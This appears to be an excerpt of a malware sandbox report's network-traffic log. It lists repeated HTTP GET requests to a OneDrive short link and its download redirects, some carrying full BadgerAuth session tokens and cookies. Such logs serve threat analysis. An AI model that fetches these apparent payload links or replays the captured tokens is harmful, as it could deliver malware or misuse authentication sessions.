Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODgxLCJuYmYiOjE3MjAxMTcwODEsImdpdmVuX25hbWUiOiI3NCIsImZhbWlseV9uYW1lIjoiTW9sZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjViYWUxNzRjYTczMWRjYmVkNjJjNmVhMmE0YTg4ZjUwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwODF9.QrDDs1Lb_4CXZz3uFwiz6W9-yTvzTSyIqcX8xzYVFIL9k-iBCz4wfrH_k85dCj18CfFGsSCc2SQfLw5BIYu3IQwEP2EVlytQJgCylLCBRl-2D6xng1RdKTsiz6CnHL4ZXy19k4aI8U6qbg1z8RNcKqPOLMAvT51cHRDrMBqU3jLPPNoZ9grkxAFWWUAsD7DGmcdMRm6U3cUXyd682D3k-PToaWQYun5TNMzdSvRPvvGQPTCKACPuPvKGwUr1OvkaaMAx4pI8IgYL8ZRZEcdEUgN8CUsyHuGFGxh-wkl681-Y-hZ98l_MqnPw_3nSPaoxSJ9m7dprhNU5L2E5ITfLKA; E=P:CqUYpFWc3Ig=:W50Jt1npRgYvqU7zpWZ25GPMj19R8bBzcml8gAvIlCY=:F; xid=186bcc99-1d7d-4e42-979f-4381ee743ac2&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODg1LCJuYmYiOjE3MjAxMTcwODUsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiRG9nIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiOTQ0ODRlODBmNjM1NmZiYmQ0ZTJiOWIxZmQ0MWIxMTYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA4NX0.VkuBmEz7RKSCJsakjDEbARxRU4jSeNRrmqBd82QSaUnQ7bHPfOebT5-ayX7gRzMrl33hxna_GHylfXsZXQf5hQaDIuLlZsi26a6GGlqfmxszml_UsTdo_KU2DvJ62mk3D_asBOvW52MHH9U7_Ru42cYTC8vNc449wQQlet5BvV-e6NyRZvUQYBGxIrBayZMfBh8n_Ek-KwClAIrn2idS6Ip9fZgwBIonIlAPwJyYCxgHu4Y935AR2SnVQC0x0OlQh5Y7JwQC26iv8tWkcJ8iXqSMfYOZy2ZMeCOGJj169KBqlnvrN7iQQp9GpxpRKXaepQ8Mt7zrIE7J-xLvhFrHUw; E=P:d8IvplWc3Ig=:pAWsV1LppJR53Wm4ISs9siDZ14jJzrEZwJdDOkDZjoI=:F; xid=af8669c7-b9ea-42d5-80b9-acfc43b563cc&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODg4LCJuYmYiOjE3MjAxMTcwODgsImdpdmVuX25hbWUiOiIxMCIsImZhbWlseV9uYW1lIjoiV2hhbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJhNjMyYzA4ZjUyMjc0NDIxZWQ5YWQ4NzAwOTcxNjJkZSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDg4fQ.WzLF0bNkFXnqe_01T1CxwU5gQrnpUPcc3rejSUGRMiyRZN6awagWKB80lsaNh51OmGVyssjLJhGb1Yt-jkH0zQ09l-RBeqL3FU7S0XOrsQwpXvufWsyt2SV9HnDnrF2-SXHxzj9S9qMOMNLko0DrB3Vv65do6stVQj8E13-fkq7aeSfxqOvVHtzrecub9ehN9r4SWKsNCE_Mqj7Ul0ym6G83VYDMK_mgylmDEM9LZEQuVXwPB-cIk3bWvr3JoARybIUTFHnweg-lG78xmtXzqHCo7luMeoh73HGnJbskrDC76ZVJj7crpk9-rDoRt7Okkyzpy96UiOdF0VCaBDsWvQ; E=P:8RIyqFWc3Ig=:kTE1+5VSEMzsA6Wqguckv7wkNqG0MslPpR00czb9thA=:F; xid=49c89a51-6bfa-4db1-9d95-03a1c48b7b22&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODkyLCJuYmYiOjE3MjAxMTcwOTIsImdpdmVuX25hbWUiOiIyMiIsImZhbWlseV9uYW1lIjoiRWFnbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJlMWQ0NzhhMDQxNGIyY2I2OTNjMTM2OGNmYmZkMTNlNyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDkyfQ.Z70DoX9E07C0JLQOxVji5wkHB77Q-e9xgZGzc1d7TbfyF1IRMo7dLgv8TLOLXmWofr_tIABy01v9D3eJ7DtbfFytrl__nV-RqgrvitCve88-WEku1rbRstuuzjUIbdwXn53NrG_2s41obCO6Exe4S6efslKKxWexcRLq2NHby1J9LwOuhvdYRJ1LqZcJoKNcNcEtjKmPMARqvXfl2VDLySVF040OdmggLYZ1gn5PmRqfIKE2Oro9IBTV-DOCLZ2SkqlLTSHYgYBCBuvPt4fOtVY8niYybT2pr3dE9YAKyZgnHeDWogBYNa1jZoesIbjkFm0ihulVEY_DrFdZajiu0A; E=P:kXhTqlWc3Ig=:gwLO8twkpWshtFRNVc2YM0B2/4PcZF4tlNf/6aBEUlo=:F; xid=eaa721a7-6761-47d0-96c0-1afcc29c76ac&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODk1LCJuYmYiOjE3MjAxMTcwOTUsImdpdmVuX25hbWUiOiIxMiIsImZhbWlseV9uYW1lIjoiQ295b3RlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYmZhNTc4Njk1NTdiNjA0YzIwMWY2ZWJmZGJjMzI4YzYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA5NX0.H2432H6DxZBc8h7VFQ7iQLq1XFbjgXmhQavar0D-3H4dEWJ4VhMG5USX7rAJhhC9swAAJrP2qLR-4kKR63uM91ZdtLtHqFvV9IfhacV_EdzDyy4RlDE3ymmUO3SNoirjkUTs0mRAYKgrLD21sHIQqO8zN2LosIY1FjBG9W1hyzrleM3VfWEZ5IUu1WbNqgqdPyFYUoLoxvrYuXfz3Eg0XKf7s3PFd8F8ZJawgbF_YwLMvNrsbxanEESv_wVdKJTBuYr-rS3RIUGpqEme2waON3E846jtFqB3X-tlQyHTW8pTMF5ukZX-I1SE6KsgTMjcTGzPrFhZ6f_NqGBXbI4Mlw; E=P:254+rFWc3Ig=:/6IM2RoWuCCwUeJNNVbO9XiTtuWYRPF61YOtmAM50m8=:F; xid=77591dcf-37d0-4018-9ef8-22435e9981af&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODk5LCJuYmYiOjE3MjAxMTcwOTksImdpdmVuX25hbWUiOiI1NSIsImZhbWlseV9uYW1lIjoiRWNoaWRuYSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImI5MTJiZTRiMzYyNTViNjE4OGI4ODA1MzM3MjkxODIzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwOTl9.kWc5U87bskN9HQbHb9G0j6QhXJp-WYLI2KEFTsxt2_qf6n5GupuIbUWgaY6M2CNZLQ7yQFyYjcu_tLGRMos9JbTjMfW8wzzZ7iuVlTLgSmLLph39_dCa1y5a2oLPHFtR4wyqJjVBpWaSCEZzzFJC1E7PcABzCBQ5WSaz7gtPm3xzZ5hppFkzLVaO_hXl0N1Vce9NpBfQhxOENdUvu6dRUN-hDEq58mZqjPjw4cmQgSSKEux9foi2Q-OdpSli1xgiKIEmEeuGdyNaa_Po4heEVpoeo2cBOmDXAx7ZQaiXhSkTLcQkFoxuquoHYCMjWC5gELKmJEuWzNo2bI3KZulIXg; E=P:dctfrlWc3Ig=:Zn5Z13tmqfSvv/5jwQHAyrALvyH6C6bJOkgYeRkqSsU=:F; xid=903738a5-6a5b-41e6-a4c3-ba5c04dc92fb&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTA0LCJuYmYiOjE3MjAxMTcxMDQsImdpdmVuX25hbWUiOiI3MSIsImZhbWlseV9uYW1lIjoiUGhlYXNhbnQiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJkYzhiOGY3ODcxN2IyMTRhY2QxMGNmMmI0ZWFlNjhiZiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTA0fQ.UuYYen0QcYfQdS4GlDSn60QdeVntaac2Y50AWoNn4nEO3tVGu49kHwkTc2dd7WAunYFx0THx83NSvcKZ6hIzYsP9CN3W-C4OOEobho-RFQqmcV2s_MI3tKdSjw1ntiaTaocGWfYRKb2sUnxPHS1sllLHWX9nDb4_jNtv4LOrpF6YsIkMccEbaOgcyb_2ugjS1humOnpgKjJtLElBoZ4FHGfcKx_aWADA1qOcCxxXWPw1n2hcqZSaiC7Zd0ql3Q8Cctuve6yFpe4bIJZIDeWzcLMnxoG1l7I1owwL1_IFTGbupsh4wwMANncIVbEtJWlAbRXnBPl1z8mIdRYAOW-C6Q; E=P:5uKisVWc3Ig=:aB143pg1cpMIJXf3edeemF+NFcftTHO43XY+UO1NNKg=:F; xid=5dbac1d5-9169-4c2c-ab70-eb8f6a1b22c4&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTA3LCJuYmYiOjE3MjAxMTcxMDcsImdpdmVuX25hbWUiOiIzNyIsImZhbWlseV9uYW1lIjoiV29sZiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImQ5YmE1Y2E2OGQ3YjQxZTFhNWRkYmRhNTljOGE0YzYyIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxMDd9.kdrP-Jkqko4mw1az0dyOw61YvDxqdzbePyBDajpQzfk-8Inytl4npXyOScrKifzb-Y1S5yu_S6JeUeUBcIncBWkMSDQqXyUeE03AZm415LDJt9VDsocTI-fQfYM80SX0SwCuWL0jEcHgZ-6cNv3s0mo8BRk0Rb85ag1YMDjYl6m3mAr-gm-D7HTov7X0ZjdPoer2xoYy69I6I5TXR5qV1UnHv91wLEUoZp8C8D7NAWU36KxLgDrSH_B5mbwCOke080SzH76i9lDGO2eLxEXZqgA2KKhDk8C2wTbvO9MMtkLIW8IjGArud5cvdrPbuuthlnzBmnnKhsdEqDxW9Z782w; E=P:/IGWs1Wc3Ig=:L/f9slybR0yeDCMGjjwEULR/BErYDIg7hqJ1IXGNSGk=:F; xid=a5045077-7005-4fa2-bfa1-980165c0b3ab&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTExLCJuYmYiOjE3MjAxMTcxMTEsImdpdmVuX25hbWUiOiI5MSIsImZhbWlseV9uYW1lIjoiU3RpbmdyYXkiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiIyN2Q5YWM3NGRiN2UyMTYxMGYwMjNkOTI3NDljYTg5MSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTExfQ.mIewDwjI69-62_IEVZ0d9aHfwjigu0R6BJZb9S3toeSxO-yFF6JVYzXU1Wv-5mA2r45PzpLeWiquU87om-PyF6-5BDYeyVcR5EY6AmK-dWICCEvEw6yDje0Q1iroVg5XinSdn7RhbA9HBZEydevegnp05oiaAlcZH7ekUSKgnnDiMwsvj2Y5YrGmBCUnvAJZJvoyVOohVktUTMBsn3bXvLowGmZWfqk2TJFgL3k67k7k8bUPXrND29OK6nIh93Ov8bXhy0OASKRWoB1nwAr1y5EfZn9mxWgdjV-nUbi4eSa6NNPmVUsw6bi8FQPjQkQFePGzm_Igkbv-K3C1x86wTw; E=P:rcvQtVWc3Ig=:gIQWHCAs00xenigqIJza9nl5p9QlgBOGPWrManleWCQ=:F; xid=e27154ac-1889-4b46-9fce-7cf27bbddfbe&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTE0LCJuYmYiOjE3MjAxMTcxMTQsImdpdmVuX25hbWUiOiI3OCIsImZhbWlseV9uYW1lIjoiUGFydHJpZGdlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZTkxNjI4ZTNiMzFjNWE2YWE0MmM2Zjc5OGYxOTYyMGMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzExNH0.JBYNGWmFLTlSfKpJbi0vfTNE_qAP-rhof5_8FQ8y8BtflB-Nn-28vmJC3XR3L0RDCiyFUAQR8HSp7hmwHGHLQ3aMFo8_vV1gco7kvjR7oVI0tO6x56dlLcBVKLx1QopQFUjjCFDNHoYac59Z07R8yc-6WmZPiOG3o_47xZI_8CCqJkN2MahXcI8hcYBwnxM5HgGJFwze3_Z-xrEYsxdhi5MgFih79r51FVQCyysYvGtOlr8YAvbc5AUVQgfKS4hAew3JNUIviVbI578FRUQlx7HjB19CBp3G0pSICY2a_1o1mhaSNE2Zzs2OWUvtjRjdPbk-JYVk0pcjkiAfMzPJFA; E=P:6EGyt1Wc3Ig=:j1utgkyk71qbDLdNsaK08Y5UrIdN3kUyJQ8vB9Oyeag=:F; xid=86a09c52-eead-4503-9172-dfcee9b32a05&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
